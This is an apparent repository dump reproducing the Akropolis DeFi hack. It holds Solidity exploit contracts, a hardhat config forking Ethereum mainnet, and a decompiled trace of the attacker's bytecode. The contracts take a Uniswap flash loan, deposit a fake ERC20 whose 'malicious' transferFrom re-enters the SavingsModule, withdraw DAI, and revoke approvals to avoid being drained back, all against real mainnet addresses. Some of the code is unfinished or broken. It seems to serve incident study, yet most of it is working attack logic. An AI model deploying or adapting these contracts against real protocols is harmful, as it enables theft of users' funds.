147 | 148 | } 149 | 150 | } 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | -------------------------------------------------------------------------------- /contracts/Fiddy.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.7.0; 3 | 4 | import "hardhat/console.sol"; 5 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 6 | import "./ISavingsModule.sol"; 7 | import "./IUniswapV2Pair.sol"; 8 | 9 | // @Dan | ChainShot#6490 a thought: exploiter wrote a function on their ERC20 contract to call the akro contract from that contract, because in that manner the whole process ended on their contract and they could then set approve to `0` and not be worried about being "hacked" back, maybe? 10 | 11 | // Had they done it 12 | 13 | contract Fiddy { 14 | 15 | // AKRO contract 16 | ISavingsModule savingsModule = ISavingsModule(0x73fC3038B4cD8FfD07482b92a52Ea806505e5748); 17 | // DAI/WETH pair for flashloan 18 | IUniswapV2Pair pair = IUniswapV2Pair(0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11); 19 | // one of the supported protocols: 20 | address curveYPool = 0x7967adA2A32A633d5C055e2e075A83023B632B4e; 21 | // pool token for ^^ 22 | address delphiYPool = 0x2AFA3c8Bf33E65d5036cD0f1c3599716894B3077; 23 | 24 | ERC20 dai = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); 25 | ERC20 delphiYPoolToken = ERC20(delphiYPool); 26 | uint entered; 27 | uint daiBalance; 28 | 29 | constructor() payable { 30 | 31 | 32 | } 33 | 34 | // call this to start the hack 35 | function test() external { 36 | daiBalance = dai.balanceOf(address(this)); 37 | console.log('daiBalance Start: ', daiBalance); 38 | 39 | helper(); 40 | 41 | daiBalance = dai.balanceOf(address(this)); 42 | console.log('daiBalance End: ', daiBalance/10**18); 43 | 44 | } 45 | 46 | function helper() internal { 47 | // now send the tokens to the savingsmodule: 48 | uint[] memory amountsIn = new uint[](1); 49 | amountsIn[0] = 5000000*10**18; 50 | address[] memory tokensIn = new address[](1); 51 | tokensIn[0] = address(this); 52 | console.log("Depositing fake tokens"); 53 | uint nDeposit = savingsModule.deposit(curveYPool, tokensIn, amountsIn); 54 | uint delphiYPoolTokenBal = delphiYPoolToken.balanceOf(address(this)); 55 | console.log('- delphiYPoolTokenBal: ', delphiYPoolTokenBal); 56 | console.log('- nDeposit: ', nDeposit); 57 | 58 | uint amountOut = 10*10**18; 59 | savingsModule.withdraw(curveYPool, address(dai), amountOut, 0); 60 | } 61 | 62 | 63 | // transferFrom, a.k.a. "Eye am the Captain now". 64 | // this will be the malicious implementation *one million dollars* 65 | function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) { 66 | console.log("- Into transferFrom"); 67 | 68 | 69 | 70 | // address[] memory tokensIn = new address[](1); 71 | // tokensIn[0] = address(dai); 72 | // uint[] memory amountsIn = new uint[](1); 73 | // amountsIn[0] = borrow; 74 | 75 | // console.log('START SECOND DEPOSIT'); 76 | 77 | // savingsModule.deposit(curveYPool, tokensIn, amountsIn); 78 | // console.log('- Dai balance: ', dai.balanceOf(address(this))); 79 | 80 | // uint delphiYPoolTokenBal = delphiYPoolToken.balanceOf(address(this)); 81 | // console.log('- delphiYPoolTokenBal: ', delphiYPoolTokenBal); 82 | 83 | 84 | 85 | return true; 86 | 87 | } 88 | 89 | 90 | 91 | 92 | 93 | 94 | receive() external payable {} 95 | 96 | } 97 | -------------------------------------------------------------------------------- /contracts/ICurveFiProtocol_Y.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.7.0; 3 | 4 | interface ICurveFiProtocol_Y { 5 | function balanceOf(address account) external view returns (uint256); 6 | 7 | function normalizedBalance() external returns(uint256); 8 | // uint256[] memory balances = balanceOfAll(); 9 | // uint256 summ; 10 | // for (uint256 i=0; i < _registeredTokens.length; i++){ 11 | // summ = summ.add(normalizeAmount(_registeredTokens[i], balances[i])); 12 | // } 13 | // return summ; 14 | // } 15 | } -------------------------------------------------------------------------------- /contracts/IPoolToken_CurveFi_Y.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.7.0; 3 | 4 | interface IPoolToken_CurveFi_Y { 5 | function balanceOf(address account) external view returns (uint256); 6 | } -------------------------------------------------------------------------------- /contracts/ISavingsModule.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.7.0; 3 | 4 | interface ISavingsModule { 5 | function deposit(address _protocol, address[] memory _tokens, uint256[] memory _dnAmounts) external returns(uint256); 6 | function poolTokenByProtocol(address _protocol) external returns (address); 7 | function withdraw(address _protocol, address token, uint256 dnAmount, uint256 maxNAmount) external returns(uint256); 8 | } -------------------------------------------------------------------------------- /contracts/IUniswapV2ERC20.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.7.0; 3 | 4 | interface IUniswapV2ERC20 { 5 | event Approval(address indexed owner, address indexed spender, uint value); 6 | event Transfer(address indexed from, address indexed to, uint value); 7 | 8 | function name() external pure returns (string memory); 9 | function symbol() external pure returns (string memory); 10 | function decimals() external pure returns (uint8); 11 | function totalSupply() external view returns (uint); 12 | function balanceOf(address owner) external view returns (uint); 13 | function allowance(address owner, address spender) external view returns (uint); 14 | 15 | function approve(address spender, uint value) external returns (bool); 16 | function transfer(address to, uint value) external returns (bool); 17 | function transferFrom(address from, address to, uint value) external returns (bool); 18 | 19 | function DOMAIN_SEPARATOR() external view returns (bytes32); 20 | function PERMIT_TYPEHASH() external pure returns (bytes32); 21 | function nonces(address owner) external view returns (uint); 22 | 23 | function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; 24 | } 25 | -------------------------------------------------------------------------------- /contracts/IUniswapV2Pair.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.7.0; 3 | 4 | interface IUniswapV2Pair { 5 | event Approval(address indexed owner, address indexed spender, uint value); 6 | event Transfer(address indexed from, address indexed to, uint value); 7 | 8 | function name() external pure returns (string memory); 9 | function symbol() external pure returns (string memory); 10 | function decimals() external pure returns (uint8); 11 | function totalSupply() external view returns (uint); 12 | function balanceOf(address owner) external view returns (uint); 13 | function allowance(address owner, address spender) external view returns (uint); 14 | 15 | function approve(address spender, uint value) external returns (bool); 16 | function transfer(address to, uint value) external returns (bool); 17 | function transferFrom(address from, address to, uint value) external returns (bool); 18 | 19 | function DOMAIN_SEPARATOR() external view returns (bytes32); 20 | function PERMIT_TYPEHASH() external pure returns (bytes32); 21 | function nonces(address owner) external view returns (uint); 22 | 23 | function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; 24 | 25 | event Mint(address indexed sender, uint amount0, uint amount1); 26 | event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); 27 | event Swap( 28 | address indexed sender, 29 | uint amount0In, 30 | uint amount1In, 31 | uint amount0Out, 32 | uint amount1Out, 33 | address indexed to 34 | ); 35 | event Sync(uint112 reserve0, uint112 reserve1); 36 | 37 | function MINIMUM_LIQUIDITY() external pure returns (uint); 38 | function factory() external view returns (address); 39 | function token0() external view returns (address); 40 | function token1() external view returns (address); 41 | function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); 42 | function price0CumulativeLast() external view returns (uint); 43 | function price1CumulativeLast() external view returns (uint); 44 | function kLast() external view returns (uint); 45 | 46 | function mint(address to) external returns (uint liquidity); 47 | function burn(address to) external returns (uint amount0, uint amount1); 48 | function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; 49 | function skim(address to) external; 50 | function sync() external; 51 | 52 | function initialize(address, address) external; 53 | } 54 | -------------------------------------------------------------------------------- /exploit.bak: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.7.0; 3 | 4 | import "hardhat/console.sol"; 5 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 6 | import "./ISavingsModule.sol"; 7 | import "./IUniswapV2Pair.sol"; 8 | 9 | // @Dan | ChainShot#6490 a thought: exploiter wrote a function on their ERC20 contract to call the akro contract from that contract, because in that manner the whole process ended on their contract and they could then set approve to `0` and not be worried about being "hacked" back, maybe? 10 | 11 | // Had they done it 12 | 13 | contract Exploit is ERC20 { 14 | 15 | // AKRO contract 16 | ISavingsModule savingsModule = ISavingsModule(0x73fC3038B4cD8FfD07482b92a52Ea806505e5748); 17 | // DAI/WETH pair for flashloan 18 | IUniswapV2Pair pair = IUniswapV2Pair(0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11); 19 | // one of the supported protocols: 20 | address curveYPool = 0x7967adA2A32A633d5C055e2e075A83023B632B4e; 21 | // pool token for ^^ 22 | address dyPoolToken = 0x2AFA3c8Bf33E65d5036cD0f1c3599716894B3077; 23 | 24 | ERC20 dai = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); 25 | ERC20 dyPool = ERC20(dyPoolToken); 26 | 27 | uint borrow = 24000*10**18; // akro had a deposit cap per user I think it was 25,000. 28 | uint supply = 500000000 * 10**18; 29 | uint daiBalance; // lazy to put in storage but yeah. 30 | 31 | 32 | constructor() payable ERC20("Exploit", "XPLT") { 33 | // doing all the approvals here: 34 | // approve the akro contract to transfer our DAI 35 | dai.approve(address(savingsModule), uint(-1)); 36 | // need to approve the akro contract to transfer our akro pool tokens? 37 | dyPool.approve(address(savingsModule), uint(-1)); 38 | 39 | } 40 | // call this to start the hack 41 | function test() external { 42 | daiBalance = dai.balanceOf(address(this)); 43 | balanceCheck('Start'); 44 | 45 | helper(); 46 | helper(); 47 | 48 | balanceCheck('End'); 49 | 50 | } 51 | 52 | function helper() internal { 53 | // now send the tokens to the savingsmodule: 54 | uint[] memory amountsIn = new uint[](1); 55 | amountsIn[0] = supply; 56 | address[] memory tokensIn = new address[](1); 57 | tokensIn[0] = address(this); 58 | console.log("START FIRST DEPOSIT: depositing fake tokens"); 59 | savingsModule.deposit(curveYPool, tokensIn, amountsIn); 60 | uint dyPoolTokenBal = dyPool.balanceOf(address(this)); 61 | console.log('- dyPoolBal: ', dyPoolBal); 62 | uint amountOut = 68*10**18; 63 | savingsModule.withdraw(curveYPool, address(dai), amountOut, 0); 64 | 65 | } 66 | // call this to start the hack 67 | function run() external { 68 | console.log("START OF RUN"); 69 | 70 | // take out a dai loan: 71 | pair.swap(borrow, 0, address(this), "0x"); 72 | // ^^ will call uniswapV2Call 73 | } 74 | 75 | function uniswapV2Call(address,uint,uint,bytes calldata) external { 76 | console.log("- Into uniswapV2Call"); 77 | daiBalance = dai.balanceOf(address(this)); 78 | console.log("- Dai balance: ", daiBalance); 79 | 80 | // now send the tokens to the savingsmodule: 81 | uint[] memory amountsIn = new uint[](1); 82 | amountsIn[0] = supply; 83 | address[] memory tokensIn = new address[](1); 84 | tokensIn[0] = address(this); 85 | console.log("START FIRST DEPOSIT: depositing fake tokens"); 86 | savingsModule.deposit(curveYPool, tokensIn, amountsIn); 87 | // ^^ will call transferFrom 88 | 89 | console.log("- Back in first loop, now call withdraw:"); 90 | // ^^ back from transferFrom 91 | uint dyPoolBalance = dyPool.balanceOf(address(this)); 92 | console.log("dyPoolBalance: ", dyPoolBalance); 93 | 94 | // now call withdraw, for 50K tokens: 95 | uint amountOut = borrow; 96 | savingsModule.withdraw(curveYPool, address(dai), dyPoolBalance, 0); 97 | 98 | daiBalance = dai.balanceOf(address(this)); 99 | console.log('daiBalance'); 100 | console.log(daiBalance); 101 | 102 | // un-approve the akro contract in case they 103 | // try and take it back: 104 | dai.approve(address(savingsModule), 0); 105 | dyPool.approve(address(savingsModule), 0); 106 | // return the borrowed DAI 107 | uint toReturn = (borrow * 1003) / 1000; 108 | console.log(toReturn); 109 | dai.transfer(msg.sender, toReturn); 110 | 111 | 112 | } 113 | 114 | // transferFrom, a.k.a. "Eye am the Captain now". 115 | // this will be the malicious implementation *one million dollars* 116 | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { 117 | console.log("- Into transferFrom"); 118 | 119 | // address[] memory tokensIn = new address[](1); 120 | // tokensIn[0] = address(dai); 121 | // uint[] memory amountsIn = new uint[](1); 122 | // amountsIn[0] = borrow; 123 | 124 | // console.log('START SECOND DEPOSIT'); 125 | 126 | // savingsModule.deposit(curveYPool, tokensIn, amountsIn); 127 | // console.log('- Dai balance: ', dai.balanceOf(address(this))); 128 | 129 | // uint dyPoolBal = dyPool.balanceOf(address(this)); 130 | // console.log('- dyPoolBal: ', dyPoolBal); 131 | 132 | 133 | 134 | return true; 135 | 136 | } 137 | 138 | 139 | function balanceCheck(string memory title) internal { 140 | console.log("------------------------"); 141 | console.log(title); 142 | daiBalance = dai.balanceOf(address(this)); 143 | console.log("DAI: ", daiBalance / 10**6); 144 | 145 | } 146 | 147 | 148 | 149 | receive() external payable {} 150 | 151 | } 152 | -------------------------------------------------------------------------------- /hardhat.config.js: -------------------------------------------------------------------------------- 1 | require("@nomiclabs/hardhat-waffle"); 2 | require('dotenv').config() 3 | require("@nomiclabs/hardhat-ethers"); 4 | require("hardhat-tracer"); 5 | 6 | module.exports = { 7 | solidity: "0.7.3", 8 | networks: { 9 | hardhat: { 10 | forking: { 11 | url: process.env.FORKING_URL, 12 | blockNumber: 11242694 13 | }, 14 | blockGasLimit: 82000000, 15 | }, 16 | 17 | } 18 | }; 19 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "akropolis-exploit", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "mocha --timeout 30000" 8 | }, 9 | "author": "", 10 | "license": "ISC", 11 | "devDependencies": { 12 | "@nomiclabs/hardhat-ethers": "^2.0.1", 13 | "@nomiclabs/hardhat-waffle": "^2.0.1", 14 | "chai": "^4.3.3", 15 | "ethereum-waffle": "^3.3.0", 16 | "ethers": "^5.0.31", 17 | "hardhat": "^2.1.1" 18 | }, 19 | "dependencies": { 20 | "@openzeppelin/contracts": "^3.4.1", 21 | "dotenv": "^8.2.0", 22 | "hardhat-tracer": "^1.0.0-alpha.2" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /remake.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.7.0; 3 | 4 | import "hardhat/console.sol"; 5 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 6 | import "./ISavingsModule.sol"; 7 | import "./CurveFiProtocol_Y.sol"; 8 | import "./IUniswapV2Pair.sol"; 9 | import "./IPoolToken_CurveFi_Y.sol"; 10 | 11 | // This is a partial reconstruction of the main exploit TX from the bytecode. 12 | // 13 | contract somename { 14 | address stor0; 15 | address stor1; 16 | uint stor2; 17 | uint stor3; 18 | address stor4; 19 | //address stor5; // savings module: 20 | ISavingsModule savingsModule = ISavingsModule(0x73fC3038B4cD8FfD07482b92a52Ea806505e5748); 21 | address stor6; // dydx contract: 0x1e0447b19bb6ecfdae1e4ae1694b0c3659614e4e 22 | //address stor7; // dai contract: 0x6b175474e89094c44da98b954eedeac495271d0f 23 | ERC20 dai = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); 24 | 25 | // not sure if they set these in the constructore or the a/b/w methods 26 | somefunction(uint _number, address _protocol, uint _value) { 27 | //stor0 = _protocol; We know it is CurveFiProtocol_Y 28 | CurveFiProtocol_Y stor0 = CurveFiProtocol_Y(0x91d7b9a8d2314110d4018c88dbfdcf5e2ba4772e); 29 | stor3 = _value; 30 | 31 | // calls this: 32 | address stor1Address = ISavingsModule.poolTokenByProtocol(protocol); 33 | IPoolToken_CurveFi_Y stor1 = IPoolToken_CurveFi_Y(0x2afa3c8bf33e65d5036cd0f1c3599716894b3077); 34 | 35 | // if calling CurveFiProtocol_SUSD 36 | if(stor0 == 0x91d7b9a8d2314110d4018c88dbfdcf5e2ba4772e) { 37 | // uint256(stor2.field_0) = 800000 * 10^18 38 | // seems to set 39 | stor2 = 800000*10**18; 40 | // this is what is used here: 41 | // https://etherscan.io/tx/0xddf8c15880a20efa0f3964207d345ff71fbb9400032b5d33b9346876bd131dc2 42 | // approves DAI on akro: 43 | dai.approve(address(savingsModule), uint(-1)); 44 | uint daiBalance = dai.balanceOf(address(this)); 45 | // roughly line 58 on bytecode 46 | if(daiBalance > stor2){ 47 | // does a while loop of while id (from 0) is less than _value 48 | // is this the several calls we see inthe tx? 49 | 50 | // calls something on ISavingsModule (line 94) 51 | // then calls 52 | uint nBalance = stor0.normalizedBalance(); // (line 102) 53 | // I think above is _1429 and below is _1469 or/and _1487 54 | uint poolTokenBalance = stor1.balanceOf(address(this)); 55 | 56 | if(nBalance > poolTokenBalance) { 57 | 58 | if(poolTokenBalance == 0) { // if not mem[_1469]: 59 | // calls a savings module withdraw with 0 values: 60 | ISavingsModule.withdraw(address(stor0), address(dai), 0, 0); 61 | 62 | } else { // line 173 63 | uint foo = 99 * poolTokenBalance/100; 64 | ISavingsModule.withdraw(address(stor0), address(dai), foo, 0); 65 | 66 | } 67 | 68 | 69 | } else { 70 | // if not _1429: ?? 71 | if(nBalance == 0) { 72 | ISavingsModule.withdraw(address(stor0), address(dai), 0, 0); 73 | // if 99 * _1429 / _1429 != 99: WTF? 74 | } else { 75 | uint bar = 99 * nBalance/100; 76 | ISavingsModule.withdraw(address(stor0), address(dai), bar, 0); 77 | } 78 | 79 | } 80 | 81 | // } increment while loop and back to the top. 82 | 83 | // here on line 191 they remove the approval. 84 | } else { //line 201 85 | 86 | // here they approve the dydx contract for spending max dai 87 | 88 | // shit gets weird, and then they remove approval of dydx/dai 89 | 90 | // then they remove approval of SavingsModule/dai 91 | } 92 | 93 | 94 | } else { 95 | 96 | // line 408 they call 97 | uint poolTokenBalance = stor1.balanceOf(address(this)); 98 | stor2 = -poolTokenBalance + 50000 * 10^18 / 2; // line 421 99 | dai.approve(address(savingsModule), uint(-1)); 100 | uint daiBalance = dai.balanceOf(address(this)); 101 | if(daiBalance > stor2) { 102 | // back to the while loop. 103 | 104 | } 105 | 106 | } 107 | } 108 | 109 | 110 | 111 | 112 | 113 | } 114 | -------------------------------------------------------------------------------- /scripts/bytecode: -------------------------------------------------------------------------------- 1 | 0x02908e5f00000000000000000000000000000000000000000000000000000000000000600000000000000000000000007967ada2a32a633d5c055e2e075a83023b632b4e0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000664656c7068690000000000000000000000000000000000000000000000000000 2 | 3 | ^^ '7967ada2a32a633d5c055e2e075a83023b632b4e' = CurveFiProtocol_Y 4 | ^^ '0x664656c706869' = '1799236634044521' 5 | 6 | def unknown02908e5f(array _param1, uint256 _param2, uint256 _param3) payable: 7 | require calldata.size - 4 >=′ 96 8 | require _param1 <= 18446744073709551615 // unsigned 64 9 | require _param1 + 35 <′ calldata.size 10 | require _param1.length <= 18446744073709551615 // unsigned 64 11 | require ceil32(_param1.length) + 128 >= 96 and ceil32(_param1.length) + 128 <= 18446744073709551615 12 | mem[96] = _param1.length 13 | require _param1 + _param1.length + 36 <= calldata.size 14 | mem[128 len _param1.length] = _param1[all] 15 | mem[_param1.length + 128] = 0 16 | require _param2 == addr(_param2) // param 2 is an address ala eth or in the code? 17 | require caller == stor4 18 | mem[ceil32(_param1.length) + 160 len ceil32(_param1.length)] = _param1[all], mem[_param1.length + 128 len ceil32(_param1.length) - _param1.length] 19 | if ceil32(_param1.length) <= _param1.length: 20 | mem[ceil32(_param1.length) + 128] = _param1.length 21 | require 0x3573d3b804dc64c2723a25c489ad31d6acfd3bb89ae03e9df018bea83b2a5b54 == sha3(mem[ceil32(_param1.length) + 160 len Mask(8 * -ceil32(_param1.length) + _param1.length + 32, 0, 0), mem[_param1.length + 160 len -_param1.length + ceil32(_param1.length)]]) 22 | stor0 = addr(_param2) // CurveFiProtocol_Y in storage during the hack block. 23 | stor3 = _param3 // this has a value of 2 right now. 24 | mem[_param1.length + ceil32(_param1.length) + 164] = addr(_param2) 25 | require ext_code.size(stor5) 26 | static call stor5.0x913dceb2 with: // poolTokenByProtocol; determine what pooltoken they need 27 | gas gas_remaining wei 28 | args addr(_param2) 29 | mem[_param1.length + ceil32(_param1.length) + 160] = ext_call.return_data[0] 30 | if not ext_call.success: 31 | revert with ext_call.return_data[0 len return_data.size] 32 | require return_data.size >=′ 32 33 | require ext_call.return_data[0] == ext_call.return_data[12 len 20] 34 | stor1 = ext_call.return_data[12 len 20] 35 | if 0x91d7b9a8d2314110d4018c88dbfdcf5e2ba4772e == addr(_param2): // if CurveFiProtocol_SUSD 36 | uint256(stor2.field_0) = 800000 * 10^18 37 | mem[_param1.length + ceil32(_param1.length) + ceil32(return_data.size) + 164] = stor5 38 | mem[_param1.length + ceil32(_param1.length) + ceil32(return_data.size) + 196] = -1 39 | require ext_code.size(stor7) 40 | call stor7.approve(address spender, uint256 tokens) with: 41 | gas gas_remaining wei 42 | args stor5, -1 43 | mem[_param1.length + ceil32(_param1.length) + ceil32(return_data.size) + 160] = ext_call.return_data[0] 44 | if not ext_call.success: 45 | revert with ext_call.return_data[0 len return_data.size] 46 | require return_data.size >=′ 32 47 | require ext_call.return_data[0] == bool(ext_call.return_data[0]) 48 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 164] = this.address 49 | require ext_code.size(stor7) 50 | static call stor7.balanceOf(address tokenOwner) with: 51 | gas gas_remaining wei 52 | args this.address 53 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 160] = ext_call.return_data[0] 54 | if not ext_call.success: 55 | revert with ext_call.return_data[0 len return_data.size] 56 | mem[64] = _param1.length + ceil32(_param1.length) + (4 * ceil32(return_data.size)) + 160 57 | require return_data.size >=′ 32 58 | if ext_call.return_data[0] > uint256(stor2.field_0): 59 | idx = 0 60 | while idx < _param3: 61 | _600 = mem[64] 62 | mem[mem[64]] = 1 63 | mem[64] = mem[64] + 64 64 | require 0 < mem[_600] 65 | mem[_600 + 32] = this.address 66 | mem[_600 + 64] = 1 67 | mem[64] = _600 + 128 68 | mem[_600 + 96] = 5 * 10^6 69 | mem[_600 + 128] = 0x562fa0df00000000000000000000000000000000000000000000000000000000 70 | mem[_600 + 132] = stor0 71 | mem[_600 + 164] = 96 72 | mem[_600 + 228] = mem[_600] 73 | s = 0 74 | t = _600 + 32 75 | u = _600 + 260 76 | while s < mem[_600]: 77 | mem[u] = mem[t + 12 len 20] 78 | s = s + 1 79 | t = t + 32 80 | u = u + 32 81 | continue 82 | mem[_600 + 196] = (32 * mem[_600]) + 128 83 | mem[_600 + (32 * mem[_600]) + 260] = 1 84 | s = 0 85 | t = _600 + (32 * mem[_600]) + 292 86 | u = _600 + 96 87 | while s < 1: 88 | mem[t] = mem[u] 89 | s = s + 1 90 | t = t + 32 91 | u = u + 32 92 | continue 93 | require ext_code.size(stor5) 94 | call stor5.mem[mem[64] len 4] with: 95 | gas gas_remaining wei 96 | args mem[mem[64] + 4 len _600 + (32 * mem[_600]) + -mem[64] + 320] 97 | if not ext_call.success: 98 | revert with ext_call.return_data[0 len return_data.size] 99 | mem[64] = mem[64] + ceil32(return_data.size) 100 | require return_data.size >=′ 32 101 | require ext_code.size(stor0) 102 | call stor0.0x628cb95e with: // normalizedBalance() 103 | gas gas_remaining wei 104 | mem[mem[64]] = ext_call.return_data[0] 105 | if not ext_call.success: 106 | revert with ext_call.return_data[0 len return_data.size] 107 | _1419 = mem[64] // normalized balance? 108 | mem[64] = mem[64] + ceil32(return_data.size) 109 | require return_data.size >=′ 32 110 | _1429 = mem[_1419] 111 | mem[mem[64] + 4] = this.address 112 | require ext_code.size(stor1) 113 | static call stor1.balanceOf(address tokenOwner) with: 114 | gas gas_remaining wei 115 | args addr(this.address) 116 | mem[mem[64]] = ext_call.return_data[0] 117 | if not ext_call.success: 118 | revert with ext_call.return_data[0 len return_data.size] 119 | _1469 = mem[64] 120 | mem[64] = mem[64] + ceil32(return_data.size) 121 | require return_data.size >=′ 32 122 | _1487 = mem[_1469] 123 | if _1429 > mem[_1469]: 124 | if not mem[_1469]: 125 | _1540 = mem[64] 126 | mem[64] = mem[64] + 64 127 | mem[_1540] = 26 128 | mem[_1540 + 32] = 'SafeMath: division by zero' 129 | mem[mem[64] + 4] = stor0 130 | mem[mem[64] + 36] = stor7 131 | mem[mem[64] + 68] = 0 132 | mem[mem[64] + 100] = 0 133 | require ext_code.size(stor5) 134 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 135 | gas gas_remaining wei 136 | args stor0, stor7, 0, 0 137 | else: 138 | if 99 * mem[_1469] / mem[_1469] != 99: 139 | revert with 0, 'SafeMath: multiplication overflow' 140 | _1570 = mem[64] 141 | mem[64] = mem[64] + 64 142 | mem[_1570] = 26 143 | mem[_1570 + 32] = 'SafeMath: division by zero' 144 | mem[mem[64] + 4] = stor0 145 | mem[mem[64] + 36] = stor7 146 | mem[mem[64] + 68] = 99 * _1487 / 100 147 | mem[mem[64] + 100] = 0 148 | require ext_code.size(stor5) 149 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 150 | gas gas_remaining wei 151 | args stor0, stor7, 99 * _1487 / 100, 0 152 | else: 153 | if not _1429: 154 | _1541 = mem[64] 155 | mem[64] = mem[64] + 64 156 | mem[_1541] = 26 157 | mem[_1541 + 32] = 'SafeMath: division by zero' 158 | mem[mem[64] + 4] = stor0 159 | mem[mem[64] + 36] = stor7 160 | mem[mem[64] + 68] = 0 161 | mem[mem[64] + 100] = 0 162 | require ext_code.size(stor5) 163 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 164 | gas gas_remaining wei 165 | args stor0, stor7, 0, 0 166 | else: 167 | if 99 * _1429 / _1429 != 99: 168 | revert with 0, 'SafeMath: multiplication overflow' 169 | _1571 = mem[64] 170 | mem[64] = mem[64] + 64 171 | mem[_1571] = 26 172 | mem[_1571 + 32] = 'SafeMath: division by zero' 173 | mem[mem[64] + 4] = stor0 174 | mem[mem[64] + 36] = stor7 175 | mem[mem[64] + 68] = 99 * _1429 / 100 176 | mem[mem[64] + 100] = 0 177 | require ext_code.size(stor5) 178 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 179 | gas gas_remaining wei 180 | args stor0, stor7, 99 * _1429 / 100, 0 181 | mem[mem[64]] = ext_call.return_data[0] 182 | if not ext_call.success: 183 | revert with ext_call.return_data[0 len return_data.size] 184 | mem[64] = mem[64] + ceil32(return_data.size) 185 | require return_data.size >=′ 32 186 | idx = idx + 1 187 | continue 188 | mem[mem[64] + 4] = stor5 189 | mem[mem[64] + 36] = 0 190 | require ext_code.size(stor7) 191 | call stor7.approve(address spender, uint256 tokens) with: 192 | gas gas_remaining wei 193 | args stor5, 0 194 | mem[mem[64]] = ext_call.return_data[0] 195 | if not ext_call.success: 196 | revert with ext_call.return_data[0 len return_data.size] 197 | _640 = mem[64] 198 | mem[64] = mem[64] + ceil32(return_data.size) 199 | require return_data.size >=′ 32 200 | require mem[_640] == bool(mem[_640]) 201 | else: 202 | mem[_param1.length + ceil32(_param1.length) + (4 * ceil32(return_data.size)) + 164] = stor6 203 | mem[_param1.length + ceil32(_param1.length) + (4 * ceil32(return_data.size)) + 196] = -1 204 | require ext_code.size(stor7) 205 | call stor7.approve(address spender, uint256 tokens) with: 206 | gas gas_remaining wei 207 | args stor6, -1 208 | mem[_param1.length + ceil32(_param1.length) + (4 * ceil32(return_data.size)) + 160] = ext_call.return_data[0] 209 | if not ext_call.success: 210 | revert with ext_call.return_data[0 len return_data.size] 211 | require return_data.size >=′ 32 212 | require ext_call.return_data[0] == bool(ext_call.return_data[0]) 213 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 160] = 3 214 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 288] = 0 215 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 320] = 0 216 | mem[64] = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 672 217 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 544] = 0 218 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 576] = 0 219 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 608] = 0 220 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 640] = 0 221 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 352] = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 544 222 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 384] = 0 223 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 416] = 0 224 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 448] = 0 225 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 480] = 0 226 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 512] = 96 227 | mem[var81002] = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 288 228 | s = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 352 229 | s = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 288 230 | s = var81002 231 | idx = var81003 232 | while idx - 1: 233 | _1360 = mem[64] 234 | mem[64] = mem[64] + 256 